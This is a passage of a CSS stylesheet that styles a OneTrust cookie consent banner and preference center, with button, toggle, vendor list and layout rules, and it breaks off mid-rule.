      #onetrust-consent-sdk #onetrust-banner-sdk .banner-option-details {
        background-color: #E9E9E9;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk a[href],
      #onetrust-consent-sdk #onetrust-banner-sdk a[href] font,
      #onetrust-consent-sdk #onetrust-banner-sdk .ot-link-btn {
        color: #3860BE;
      }

      #onetrust-consent-sdk #onetrust-accept-btn-handler,
      #onetrust-banner-sdk #onetrust-reject-all-handler,
      #onetrust-banner-sdk #ot-dialog-confirm-handler {
        background-color: #D02F5E;
        border-color: #D02F5E;
        color: #FFFFFF;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk *:focus,
      #onetrust-consent-sdk #onetrust-banner-sdk:focus {
        outline-color: #000000;
        outline-width: 1px;
      }

      #onetrust-consent-sdk #onetrust-pc-btn-handler,
      #onetrust-consent-sdk #onetrust-pc-btn-handler.cookie-setting-link,
      #onetrust-consent-sdk #ot-dialog-cancel-handler {
        color: #3A3B3C;
        border-color: #3A3B3C;
        background-color:
          #FFFFFF;
      }

      #onetrust-banner-sdk.ot-close-btn-link .banner-close-button {
        color: #696969
      }

      #onetrust-banner-sdk #onetrust-policy-text a.ot-cookie-policy-link,
      #onetrust-banner-sdk #onetrust-policy-text a.ot-imprint-link {
        margin-left: 5px;
      }

      .ot-text-resize {
        width: auto !important;
      }

      #onetrust-pc-sdk #ot-pc-content {
        padding-left: 2px !important;
      }

      .ot-pc-header {
        display: none;
      }

      #onetrust-consent-sdk UL:not([class])>LI:before {
        display: none;
      }

      .privacy-notice-link {
        color: #252222 !important;
      }

      .ot-pc-footer-logo {
        display: none !important;
      }

      #onetrust-banner-sdk button,
      #onetrust-pc-sdk .ot-sdk-button,
      #onetrust-banner-sdk .ot-sdk-button,
      #ot-sdk-cookie-policy button,
      #ot-sdk-cookie-policy .ot-sdk-button,
      #onetrust-pc-sdk #accept-recommended-btn-handler,
      #onetrust-pc-sdk .save-preference-btn-handler {
        color: #fff !important;
        background: #D02F5E !important;
        text-transform: uppercase !important;
        border-color: transparent !important;
        font-size: 14px !important;
        border-radius: 24px !important;
        box-shadow: 0px 6px 10px rgba(0, 0, 0, 0.05) !important;
      }

      #onetrust-consent-sdk {
        pointer-events: all;
      }

      #onetrust-consent-sdk #onetrust-pc-btn-handler,
      #onetrust-consent-sdk #onetrust-pc-btn-handler.cookie-setting-link {
        color: #D02F5E !important;
        padding: 12px 16px !important;
        background: #fff !important;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk a[href],
      #onetrust-consent-sdk #onetrust-banner-sdk a[href] font,
      #onetrust-consent-sdk #onetrust-banner-sdk .ot-link-btn {
        color: #3a3b3c !important;
        font-weight: 400 !important;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk .banner-actions-container {
        width: auto !important;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk #onetrust-policy-title {
        font-size: 18px !important;
      }

      #onetrust-consent-sdk #onetrust-banner-sdk .ot-b-addl-desc,
      #onetrust-consent-sdk #onetrust-banner-sdk .ot-gv-list-handler,
      #onetrust-consent-sdk #onetrust-banner-sdk #onetrust-policy-text {
        font-size: 16px !important;
      }

      #onetrust-pc-sdk .ot-accordion-layout .ot-acc-grpdesc {
        font-size: 16px !important;
      }

      .ot-sdk-row.ot-cat-grp .ot-accordion-layout.ot-cat-item button {
        border-radius: 0 !important;
        box-shadow: none !important;
        background: transparent !important;
        border-color: transparent !important;
        font-size: 16px !important;
      }

      #onetrust-pc-sdk #ot-pc-content {
        top: 20px !important;
      }

      #onetrust-pc-sdk .ot-switch-nob {
        background: #cbcbcb !important;
      }

      #onetrust-pc-sdk .ot-switch-nob::before {
        background: #fff !important;
      }

      #onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob {
        background: #252222 !important;
        border-color: #252222 !important;
      }

      #onetrust-pc-sdk .ot-cat-grp .ot-always-active {
        color: #252222 !important;
      }

      #onetrust-pc-sdk #ot-pc-title,
      #onetrust-pc-sdk #ot-category-title {
        font-size: 18px !important;
      }

      #onetrust-pc-sdk #ot-pc-desc,
      #onetrust-pc-sdk .ot-cat-header,
      #onetrust-pc-sdk .ot-cat-grp .ot-always-active {
        font-size: 16px !important;
      }

      #onetrust-pc-sdk.otPcCenter {
        overflow: auto !important;
      }

      @media only screen and (max-width: 530px) {

        #onetrust-pc-sdk #ot-pc-content,
        .ot-pc-footer {
          border: none !important;
          max-width: 90% !important;
          margin: 0 auto !important;
          position: static !important;
        }
      }

      #onetrust-button-group {
        display: inline-block !important;
        margin: 0 auto;
      }

      body #onetrust-consent-sdk #onetrust-pc-btn-handler,
      body #onetrust-consent-sdk #onetrust-reject-all-handler,
      body #onetrust-consent-sdk #onetrust-accept-btn-handler {
        display: block !important;
        width: 100% !important;
        max-width: 500px !important;
        background-color: #D02F5E !important;
        border-color: #D02F5E !important;
        color: #FFFFFF !important;
        margin: 0 auto 12px;
      }

      @media only screen and (min-width: 890px) {
        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group-parent {
          padding-left: 3%;
          padding-right: 4%;
          margin-left: -10% !important;
          min-width: 300px !important;
          max-width: 440px !important;
        }
      }

      @media only screen and (min-width: 890px) {
        #onetrust-banner-sdk.ot-buttons-fw:not(.ot-iab-2) #onetrust-button-group-parent {
          margin-left: 0 !important;
        }
      }

      @media only screen and (min-width: 897px) and (max-width: 1023px) {
        #onetrust-banner-sdk.vertical-align-content #onetrust-button-group-parent {
          left: 66% !important;
        }
      }

      body #onetrust-banner-sdk .ot-sdk-row {
        max-width: 1200px;
        margin: 0 auto;
      }

      #onetrust-pc-sdk.otPcCenter {
        --ot-footer-space: 160px;
        overflow: hidden;
        position: fixed;
        margin: 0 auto;
        top: 5%;
        right: 0;
        left: 0;
        width: 40%;
        max-width: 575px;
        min-width: 575px;
        border-radius: 2.5px;
        z-index: 2147483647;
        background-color: #fff;
        -webkit-box-shadow: 0px 2px 10px -3px #999;
        -moz-box-shadow: 0px 2px 10px -3px #999;
        box-shadow: 0px 2px 10px -3px #999
      }

      #onetrust-pc-sdk.otPcCenter[dir=rtl] {
        right: 0;
        left: 0
      }

      #onetrust-pc-sdk.otRelFont {
        font-size: 1rem
      }

      #onetrust-pc-sdk .ot-optout-signal {
        margin-top: .625rem
      }

      #onetrust-pc-sdk #ot-addtl-venlst .ot-arw-cntr,
      #onetrust-pc-sdk #ot-addtl-venlst .ot-plus-minus,
      #onetrust-pc-sdk .ot-hide-tgl {
        visibility: hidden
      }

      #onetrust-pc-sdk #ot-addtl-venlst .ot-arw-cntr *,
      #onetrust-pc-sdk #ot-addtl-venlst .ot-plus-minus *,
      #onetrust-pc-sdk .ot-hide-tgl * {
        visibility: hidden
      }

      #onetrust-pc-sdk #ot-gn-venlst .ot-ven-item .ot-acc-hdr {
        min-height: 40px
      }

      #onetrust-pc-sdk .ot-pc-header {
        height: 39px;
        padding: 10px 0 10px 30px;
        border-bottom: 1px solid #e9e9e9
      }

      #onetrust-pc-sdk #ot-pc-title,
      #onetrust-pc-sdk #ot-category-title,
      #onetrust-pc-sdk .ot-cat-header,
      #onetrust-pc-sdk #ot-lst-title,
      #onetrust-pc-sdk .ot-ven-hdr .ot-ven-name,
      #onetrust-pc-sdk .ot-always-active {
        font-weight: bold;
        color: dimgray
      }

      #onetrust-pc-sdk .ot-always-active-group .ot-cat-header {
        width: 55%;
        font-weight: 700
      }

      #onetrust-pc-sdk .ot-cat-item p:not([role=heading]) {
        clear: both;
        float: left;
        margin-top: 10px;
        margin-bottom: 5px;
        line-height: 1.5;
        font-size: .812em;
        color: dimgray
      }

      #onetrust-pc-sdk .ot-close-icon {
        height: 44px;
        width: 44px;
        background-size: 10px
      }

      #onetrust-pc-sdk #ot-pc-title {
        float: left;
        font-size: 1em;
        line-height: 1.5;
        margin-bottom: 10px;
        margin-top: 10px;
        width: 100%
      }

      #onetrust-pc-sdk #accept-recommended-btn-handler {
        position: relative;
        outline-offset: -1px
      }

      #onetrust-pc-sdk #ot-pc-desc {
        clear: both;
        width: 100%;
        font-size: .812em;
        line-height: 1.5;
        margin-bottom: 25px
      }

      #onetrust-pc-sdk #ot-pc-desc * {
        font-size: inherit;
        line-height: inherit
      }

      #onetrust-pc-sdk #ot-pc-desc ul li {
        padding: 10px 0px
      }

      #onetrust-pc-sdk a {
        color: #656565;
        cursor: pointer
      }

      #onetrust-pc-sdk a:hover {
        color: #3860be
      }

      #onetrust-pc-sdk label {
        margin-bottom: 0
      }

      #onetrust-pc-sdk #vdr-lst-dsc {
        font-size: .812em;
        line-height: 1.5;
        padding: 10px 15px 5px 15px
      }

      #onetrust-pc-sdk button {
        max-width: 394px;
        padding: 12px 30px;
        line-height: 1;
        word-break: break-word;
        word-wrap: break-word;
        white-space: normal;
        font-weight: bold;
        height: auto
      }

      #onetrust-pc-sdk .ot-link-btn {
        padding: 0;
        margin-bottom: 0;
        border: 0;
        font-weight: normal;
        line-height: normal;
        width: auto;
        height: auto
      }

      #onetrust-pc-sdk #ot-pc-content {
        position: absolute;
        overflow-y: scroll;
        padding-left: 2px;
        padding-right: 30px;
        top: 60px;
        bottom: 110px;
        margin: 1px 3px 0 30px;
        width: calc(100% - 63px)
      }

      #onetrust-pc-sdk .ot-vs-list .ot-always-active,
      #onetrust-pc-sdk .ot-cat-grp .ot-always-active {
        float: right;
        clear: none;
        color: #3860be;
        margin: 0;
        font-size: .813em;
        line-height: 1.3
      }

      #onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar-track {
        margin-right: 20px
      }

      #onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar {
        width: 11px
      }

      #onetrust-pc-sdk .ot-pc-scrollbar::-webkit-scrollbar-thumb {
        border-radius: 10px;
        background: #d8d8d8
      }

      #onetrust-pc-sdk input[type=checkbox]:focus+.ot-acc-hdr {
        outline: #000 1px solid
      }

      #onetrust-pc-sdk .ot-pc-scrollbar {
        scrollbar-arrow-color: #d8d8d8;
        scrollbar-darkshadow-color: #d8d8d8;
        scrollbar-face-color: #d8d8d8;
        scrollbar-shadow-color: #d8d8d8
      }

      #onetrust-pc-sdk .save-preference-btn-handler {
        margin-right: 20px
      }

      #onetrust-pc-sdk .ot-pc-refuse-all-handler {
        margin-right: 10px
      }

      #onetrust-pc-sdk #ot-pc-desc .privacy-notice-link {
        margin-left: 0;
        margin-right: 8px
      }

      #onetrust-pc-sdk #ot-pc-desc .ot-imprint-handler {
        margin-left: 0;
        margin-right: 8px
      }

      #onetrust-pc-sdk .ot-subgrp-cntr {
        display: inline-block;
        clear: both;
        width: 100%;
        padding-top: 15px
      }

      #onetrust-pc-sdk .ot-switch+.ot-subgrp-cntr {
        padding-top: 10px
      }

      #onetrust-pc-sdk ul.ot-subgrps {
        margin: 0;
        font-size: initial
      }

      #onetrust-pc-sdk ul.ot-subgrps li p,
      #onetrust-pc-sdk ul.ot-subgrps li h5 {
        font-size: .813em;
        line-height: 1.4;
        color: dimgray
      }

      #onetrust-pc-sdk ul.ot-subgrps .ot-switch {
        min-height: auto
      }

      #onetrust-pc-sdk ul.ot-subgrps .ot-switch-nob {
        top: 0
      }

      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-hdr {
        display: inline-block;
        width: 100%
      }

      #onetrust-pc-sdk ul.ot-subgrps .ot-acc-txt {
        margin: 0
      }

      #onetrust-pc-sdk ul.ot-subgrps li {
        padding: 0;
        border: none
      }

      #onetrust-pc-sdk ul.ot-subgrps li h5,
      #onetrust-pc-sdk ul.ot-subgrps li p[aria-level="5"] {
        position: relative;
        top: 5px;
        font-weight: bold;
        margin-bottom: 0;
        float: left
      }

      #onetrust-pc-sdk li.ot-subgrp {
        margin-left: 20px;
        overflow: auto
      }

      #onetrust-pc-sdk li.ot-subgrp>h5,
      #onetrust-pc-sdk li.ot-subgrp>p[aria-level="5"] {
        width: calc(100% - 100px)
      }

      #onetrust-pc-sdk .ot-cat-item p>ul,
      #onetrust-pc-sdk li.ot-subgrp p>ul {
        margin: 0px;
        list-style: disc;
        margin-left: 15px;
        font-size: inherit
      }

      #onetrust-pc-sdk .ot-cat-item p>ul li,
      #onetrust-pc-sdk li.ot-subgrp p>ul li {
        font-size: inherit;
        padding-top: 10px;
        padding-left: 0px;
        padding-right: 0px;
        border: none
      }

      #onetrust-pc-sdk .ot-cat-item p>ul li:last-child,
      #onetrust-pc-sdk li.ot-subgrp p>ul li:last-child {
        padding-bottom: 10px
      }

      #onetrust-pc-sdk .ot-pc-logo {
        height: 40px;
        width: 120px
      }

      #onetrust-pc-sdk .ot-pc-footer {
        position: absolute;
        bottom: 0px;
        width: 100%;
        max-height: var(--ot-footer-space);
        border-top: 1px solid #d8d8d8
      }

      #onetrust-pc-sdk.ot-ftr-stacked #ot-pc-lst {
        bottom: var(--ot-footer-space)
      }

      #onetrust-pc-sdk.ot-ftr-stacked #ot-pc-content {
        bottom: var(--ot-footer-space)
      }

      #onetrust-pc-sdk.ot-ftr-stacked .ot-pc-footer button {
        margin-left: 15px !important;
        margin-right: 15px !important;
        width: calc(100% - 33px);
        max-width: none
      }

      #onetrust-pc-sdk.ot-ftr-stacked .ot-pc-footer button:not(:last-child) {
        margin-bottom: 0
      }

      #onetrust-pc-sdk .ot-pc-footer-logo {
        height: 30px;
        width: 100%;
        text-align: right;
        background: #f4f4f4
      }

      #onetrust-pc-sdk .ot-pc-footer-logo a {
        display: inline-block;
        margin-top: 2px;
        margin-right: 10px
      }

      #onetrust-pc-sdk .ot-pc-footer-logo img,
      #onetrust-pc-sdk .ot-pc-footer-logo svg {
        margin-top: 3px
      }

      #onetrust-pc-sdk[dir=rtl] .ot-pc-footer-logo {
        direction: rtl
      }

      #onetrust-pc-sdk[dir=rtl] .ot-pc-footer-logo a {
        margin-right: 25px
      }

      #onetrust-pc-sdk .ot-tgl {
        float: right;
        position: relative;
        z-index: 1
      }

      #onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob {
        background-color: #468254;
        border: 1px solid #fff
      }

      #onetrust-pc-sdk .ot-tgl input:checked+.ot-switch .ot-switch-nob:before {
        -webkit-transform: translateX(20px);
        -ms-transform: translateX(20px);
        transform: translateX(20px);
        background-color: #fff;
        border-color: #fff
      }

      #onetrust-pc-sdk .ot-tgl input:focus+.ot-switch {
        outline: #000 solid 1px
      }

      #onetrust-pc-sdk .ot-switch {
        position: relative;
        display: inline-block;
        width: 45px;
        height: 25px
      }

      #onetrust-pc-sdk .ot-switch-nob {
        position: absolute;
        cursor: pointer;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background-color: #767676;
        border: 1px solid #ddd;
        transition: all .2s ease-in 0s;
        -moz-transition: all .2s ease-in 0s;
        -o-transition: all .2s ease-in 0s;
        -webkit-transition: all .2s ease-in 0s;
        border-radius: 20px
      }

      #onetrust-pc-sdk .ot-switch-nob:before {
        position: absolute;
        content: "";
        height: 18px;
        width: 18px;
        bottom: 3px;
        left: 3px;
        background-color: #fff;
        -webkit-transition: .4s;
        transition: .4s;
        border-radius: 20px
      }

      #onetrust-pc-sdk .ot-chkbox input {
        width: 28px !important;
        height: 28px !important
      }

      #onetrust-pc-sdk .ot-chkbox input:checked~label::before {
        background-color: #3860be
      }

      #onetrust-pc-sdk .ot-chkbox input+label::after {
        content: none;
        color: #fff
      }

      #onetrust-pc-sdk .ot-chkbox input:checked+label::after {
        content: ""
      }

      #onetrust-pc-sdk .ot-chkbox input:focus+label::before {
        outline-style: solid;
        outline-width: 2px;
        outline-style: auto
      }

      #onetrust-pc-sdk .ot-chkbox input[aria-checked=mixed]~label::before {
        background-color: #3860be
      }

      #onetrust-pc-sdk .ot-chkbox input[aria-checked=mixed]+label::after {
        content: ""
      }

      #onetrust-pc-sdk .ot-chkbox label {
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 30px;
        cursor: pointer;
        font-weight: 500;
        min-height: 28px
      }

      #onetrust-pc-sdk .ot-chkbox label::before,
      #onetrust-pc-sdk .ot-chkbox label::after {
        position: absolute;
        content: "";
        display: inline-block;
        border-radius: 3px
      }

      #onetrust-pc-sdk .ot-chkbox label::before {
        height: 18px;
        width: 18px;
        border: 1px solid #3860be;
        left: 4px;
        top: 4px
      }

      #onetrust-pc-sdk .ot-chkbox label::after {
        height: 5px;
        width: 9px;
        border-left: 3px solid;
        border-bottom: 3px solid;
        transform: rotate(-45deg);
        -o-transform: rotate(-45deg);
        -ms-transform: rotate(-45deg);
        -webkit-transform: rotate(-45deg);
        left: 8px;
        top: 8px
      }

      #onetrust-pc-sdk .ot-label-txt {
        display: none
      }

      #onetrust-pc-sdk .ot-chkbox input,
      #onetrust-pc-sdk .ot-tgl input {
        position: absolute;
        opacity: 0;
        width: 0;
        height: 0
      }

      #onetrust-pc-sdk .ot-arw-cntr {
        float: right;
        position: relative;
        pointer-events: none
      }

      #onetrust-pc-sdk .ot-arw-cntr .ot-arw {
        width: 16px;
        height: 16px;
        margin-left: 5px;
        color: dimgray;
        display: inline-block;
        vertical-align: middle;
        -webkit-transition: all 150ms ease-in 0s;
        -moz-transition: all 150ms ease-in 0s;
        -o-transition: all 150ms ease-in 0s;
        transition: all 150ms ease-in 0s
      }

      #onetrust-pc-sdk input:checked~.ot-acc-hdr .ot-arw,
      #onetrust-pc-sdk button[aria-expanded=true]~.ot-acc-hdr .ot-arw-cntr svg {
        transform: rotate(90deg);
        -o-transform: rotate(90deg);
        -ms-transform: rotate(90deg);
        -webkit-transform: rotate(90deg)
      }

      #onetrust-pc-sdk input[type=checkbox]:focus+.ot-acc-hdr {
        outline: #000 1px solid
      }

      #onetrust-pc-sdk .ot-tgl-cntr,
      #onetrust-pc-sdk .ot-arw-cntr {
        display: inline-block
      }

      #onetrust-pc-sdk .ot-tgl-cntr {
        float: right;
        margin-top: 2px
      }

      #onetrust-pc-sdk #ot-lst-cnt .ot-tgl-cntr {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-always-active-subgroup {
        width: auto;
        padding-left: 0px !important;
        top: 3px;
        position: relative
      }

      #onetrust-pc-sdk .ot-label-status {
        font-size: .75em;
        display: none;
        font-size: .75em;
        position: relative;
        top: 2px;
        padding-right: 5px;
        float: left
      }

      #onetrust-pc-sdk .ot-arw-cntr {
        margin-top: -1px
      }

      #onetrust-pc-sdk .ot-arw-cntr svg {
        -webkit-transition: all 300ms ease-in 0s;
        -moz-transition: all 300ms ease-in 0s;
        -o-transition: all 300ms ease-in 0s;
        transition: all 300ms ease-in 0s;
        height: 10px;
        width: 10px
      }

      #onetrust-pc-sdk input:checked~.ot-acc-hdr .ot-arw {
        transform: rotate(90deg);
        -o-transform: rotate(90deg);
        -ms-transform: rotate(90deg);
        -webkit-transform: rotate(90deg)
      }

      #onetrust-pc-sdk .ot-arw {
        width: 10px;
        margin-left: 15px;
        transition: all 300ms ease-in 0s;
        -webkit-transition: all 300ms ease-in 0s;
        -moz-transition: all 300ms ease-in 0s;
        -o-transition: all 300ms ease-in 0s
      }

      #onetrust-pc-sdk .ot-vlst-cntr {
        margin-bottom: 0
      }

      #onetrust-pc-sdk .ot-hlst-cntr {
        margin-top: 5px;
        display: inline-block;
        width: 100%
      }

      #onetrust-pc-sdk .category-vendors-list-handler,
      #onetrust-pc-sdk .category-vendors-list-handler+a,
      #onetrust-pc-sdk .category-host-list-handler {
        clear: both;
        color: #3860be;
        margin-left: 0;
        font-size: .813em;
        text-decoration: none;
        float: left;
        overflow: hidden
      }

      #onetrust-pc-sdk .category-vendors-list-handler:hover,
      #onetrust-pc-sdk .category-vendors-list-handler+a:hover,
      #onetrust-pc-sdk .category-host-list-handler:hover {
        text-decoration-line: underline
      }

      #onetrust-pc-sdk .category-vendors-list-handler+a {
        clear: none
      }

      #onetrust-pc-sdk .ot-vlst-cntr svg.ot-ext-lnk,
      #onetrust-pc-sdk .ot-ven-hdr svg.ot-ext-lnk,
      #onetrust-pc-sdk .ot-host-hdr svg.ot-ext-lnk,
      #onetrust-pc-sdk .ot-cat-grp svg.ot-ext-lnk {
        display: inline-block;
        height: 13px;
        width: 13px;
        background-repeat: no-repeat;
        margin-left: 1px;
        cursor: pointer;
        vertical-align: middle
      }

      #onetrust-pc-sdk .ot-ven-hdr svg.ot-ext-lnk {
        margin-bottom: -1px
      }

      #onetrust-pc-sdk .back-btn-handler {
        font-size: 1em;
        text-decoration: none
      }

      #onetrust-pc-sdk .back-btn-handler:hover {
        opacity: .6
      }

      #onetrust-pc-sdk #ot-lst-title h3,
      #onetrust-pc-sdk #ot-lst-title p[aria-level="3"] {
        display: inline-block;
        word-break: break-word;
        word-wrap: break-word;
        margin-bottom: 0;
        color: #656565;
        font-size: 1em;
        font-weight: bold;
        margin-left: 15px
      }

      #onetrust-pc-sdk #ot-lst-title {
        margin: 10px 0 10px 0px;
        font-size: 1em;
        text-align: left
      }

      #onetrust-pc-sdk #ot-pc-hdr {
        margin: 0 0 0 30px;
        height: auto;
        width: auto
      }

      #onetrust-pc-sdk #ot-pc-hdr input::placeholder {
        color: #707070;
        font-style: italic
      }

      #onetrust-pc-sdk #vendor-search-handler {
        height: 31px;
        width: 100%;
        border-radius: 50px;
        font-size: .8em;
        padding-right: 35px;
        padding-left: 15px;
        float: left;
        margin-left: 15px
      }

      #onetrust-pc-sdk .ot-ven-name {
        display: block;
        width: auto;
        padding-right: 5px
      }

      #onetrust-pc-sdk #ot-lst-cnt {
        overflow-y: auto;
        margin-left: 20px;
        margin-right: 7px;
        width: calc(100% - 27px);
        max-height: calc(100% - 80px);
        height: 100%;
        transform: translate3d(0, 0, 0)
      }

      #onetrust-pc-sdk #ot-pc-lst {
        width: 100%;
        bottom: 100px;
        position: absolute;
        top: 60px
      }

      #onetrust-pc-sdk #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr .ot-arw-cntr,
      #onetrust-pc-sdk #ot-pc-lst:not(.ot-enbl-chr) .ot-tgl-cntr .ot-arw-cntr * {
        visibility: hidden
      }

      #onetrust-pc-sdk #ot-pc-lst .ot-tgl-cntr {
        right: 12px;
        position: absolute
      }

      #onetrust-pc-sdk #ot-pc-lst .ot-arw-cntr {
        float: right;
        position: relative
      }

      #onetrust-pc-sdk #ot-pc-lst .ot-arw {
        margin-left: 10px
      }

      #onetrust-pc-sdk #ot-pc-lst .ot-acc-hdr {
        overflow: hidden;
        cursor: pointer
      }

      #onetrust-pc-sdk .ot-vlst-cntr {
        overflow: hidden
      }

      #onetrust-pc-sdk #ot-sel-blk {
        overflow: hidden;
        width: 100%;
        position: sticky;
        position: -webkit-sticky;
        top: 0;
        z-index: 3
      }

      #onetrust-pc-sdk #ot-back-arw {
        height: 12px;
        width: 12px
      }

      #onetrust-pc-sdk .ot-lst-subhdr {
        width: 100%;
        display: inline-block
      }

      #onetrust-pc-sdk .ot-search-cntr {
        float: left;
        width: 78%;
        position: relative
      }

      #onetrust-pc-sdk .ot-search-cntr>svg {
        width: 30px;
        height: 30px;
        position: absolute;
        float: left;
        right: -15px
      }

      #onetrust-pc-sdk .ot-fltr-cntr {
        float: right;
        right: 50px;
        position: relative
      }

      #onetrust-pc-sdk #ot-filter-list-header {
        margin-top: 20px;
        margin-bottom: 10px;
        float: left;
        text-decoration: none;
        color: #3860be;
        font-size: .9em;
        font-weight: bold;
        background-color: rgba(0, 0, 0, 0);
        border-color: rgba(0, 0, 0, 0);
        padding: 1px 1px 1px 15px;
        word-wrap: break-word;
        overflow-wrap: break-word
      }

      #onetrust-pc-sdk #filter-btn-handler {
        background-color: #3860be;
        border-radius: 17px;
        display: inline-block;
        position: relative;
        width: 32px;
        height: 32px;
        -moz-transition: .1s ease;
        -o-transition: .1s ease;
        -webkit-transition: 1s ease;
        transition: .1s ease;
        padding: 0;
        margin: 0
      }

      #onetrust-pc-sdk #filter-btn-handler:hover {
        background-color: #3860be
      }

      #onetrust-pc-sdk #filter-btn-handler svg {
        width: 12px;
        height: 12px;
        margin: 3px 10px 0 10px;
        display: block;
        position: static;
        right: auto;
        top: auto
      }

      #onetrust-pc-sdk .ot-ven-link,
      #onetrust-pc-sdk .ot-ven-legclaim-link {
        color: #3860be;
        text-decoration: none;
        font-weight: 100;
        display: inline-block;
        padding-top: 10px;
        transform: translate(0, 1%);
        -o-transform: translate(0, 1%);
        -ms-transform: translate(0, 1%);
        -webkit-transform: translate(0, 1%);
        position: relative;
        z-index: 2
      }

      #onetrust-pc-sdk .ot-ven-link *,
      #onetrust-pc-sdk .ot-ven-legclaim-link * {
        font-size: inherit
      }

      #onetrust-pc-sdk .ot-ven-link:hover,
      #onetrust-pc-sdk .ot-ven-legclaim-link:hover {
        text-decoration: underline
      }

      #onetrust-pc-sdk .ot-ven-hdr {
        width: calc(100% - 160px);
        height: auto;
        float: left;
        word-break: break-word;
        word-wrap: break-word;
        vertical-align: middle;
        padding-bottom: 3px
      }

      #onetrust-pc-sdk .ot-ven-link,
      #onetrust-pc-sdk .ot-ven-legclaim-link {
        letter-spacing: .03em;
        font-size: .75em;
        font-weight: 400
      }

      #onetrust-pc-sdk .ot-ven-dets {
        border-radius: 2px;
        background-color: #f8f8f8
      }

      #onetrust-pc-sdk .ot-ven-dets li:first-child p:first-child {
        border-top: none
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:not(:first-child) {
        border-top: 1px solid #ddd !important
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p {
        display: inline-block
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p:nth-of-type(odd) {
        width: 30%
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc:nth-child(n+3) p:nth-of-type(even) {
        width: 50%;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p,
      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc h5 {
        padding-top: 5px;
        padding-bottom: 5px;
        display: block
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc h5,
      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p[aria-level="5"] {
        display: inline-block
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p:nth-last-child(-n+1) {
        padding-bottom: 10px
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc p:nth-child(-n+2):not(.disc-pur):not([role=heading]) {
        padding-top: 10px
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur-cont {
        display: inline
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur {
        position: relative;
        width: 50% !important;
        word-break: break-word;
        word-wrap: break-word;
        left: calc(30% + 17px)
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-disc .disc-pur:nth-child(-n+1) {
        position: static
      }

      #onetrust-pc-sdk .ot-ven-dets p,
      #onetrust-pc-sdk .ot-ven-dets h5,
      #onetrust-pc-sdk .ot-ven-dets span {
        font-size: .69em;
        text-align: left;
        vertical-align: middle;
        word-break: break-word;
        word-wrap: break-word;
        margin: 0;
        padding-bottom: 10px;
        padding-left: 15px;
        color: #2e3644
      }

      #onetrust-pc-sdk .ot-ven-dets h5,
      #onetrust-pc-sdk .ot-ven-dets p[aria-level="5"] {
        padding-top: 5px;
        line-height: 1.5
      }

      #onetrust-pc-sdk .ot-ven-dets span {
        color: dimgray;
        padding: 0;
        vertical-align: baseline
      }

      #onetrust-pc-sdk .ot-ven-dets .ot-ven-pur h5,
      #onetrust-pc-sdk .ot-ven-dets .ot-ven-pur p[aria-level="5"] {
        border-top: 1px solid #e9e9e9;
        border-bottom: 1px solid #e9e9e9;
        padding-bottom: 5px;
        margin-bottom: 5px;
        font-weight: bold
      }

      #onetrust-pc-sdk #ot-host-lst .ot-sel-all {
        float: right;
        position: relative;
        margin-right: 42px;
        top: 10px
      }

      #onetrust-pc-sdk #ot-host-lst .ot-sel-all input[type=checkbox] {
        width: auto;
        height: auto
      }

      #onetrust-pc-sdk #ot-host-lst .ot-sel-all label {
        height: 20px;
        width: 20px;
        padding-left: 0px
      }

      #onetrust-pc-sdk #ot-host-lst .ot-acc-txt {
        overflow: hidden;
        width: 95%
      }

      #onetrust-pc-sdk .ot-host-hdr {
        position: relative;
        z-index: 1;
        pointer-events: none;
        width: calc(100% - 125px);
        float: left
      }

      #onetrust-pc-sdk .ot-host-name,
      #onetrust-pc-sdk .ot-host-desc {
        display: inline-block;
        width: 90%
      }

      #onetrust-pc-sdk .ot-host-name {
        pointer-events: none
      }

      #onetrust-pc-sdk .ot-host-hdr>a {
        text-decoration: underline;
        font-size: .82em;
        position: relative;
        z-index: 2;
        margin-bottom: 5px;
        pointer-events: initial
      }

      #onetrust-pc-sdk .ot-host-name+a {
        margin-top: 5px
      }

      #onetrust-pc-sdk .ot-host-name,
      #onetrust-pc-sdk .ot-host-name a,
      #onetrust-pc-sdk .ot-host-desc,
      #onetrust-pc-sdk .ot-host-info {
        color: dimgray;
        word-break: break-word;
        word-wrap: break-word
      }

      #onetrust-pc-sdk .ot-host-name,
      #onetrust-pc-sdk .ot-host-name a {
        font-weight: bold;
        font-size: .82em;
        line-height: 1.3
      }

      #onetrust-pc-sdk .ot-host-name a {
        font-size: 1em
      }

      #onetrust-pc-sdk .ot-host-expand {
        margin-top: 3px;
        margin-bottom: 3px;
        clear: both;
        display: block;
        color: #3860be;
        font-size: .72em;
        font-weight: normal
      }

      #onetrust-pc-sdk .ot-host-expand * {
        font-size: inherit
      }

      #onetrust-pc-sdk .ot-host-desc,
      #onetrust-pc-sdk .ot-host-info {
        font-size: .688em;
        line-height: 1.4;
        font-weight: normal
      }

      #onetrust-pc-sdk .ot-host-desc {
        margin-top: 10px
      }

      #onetrust-pc-sdk .ot-host-opt {
        margin: 0;
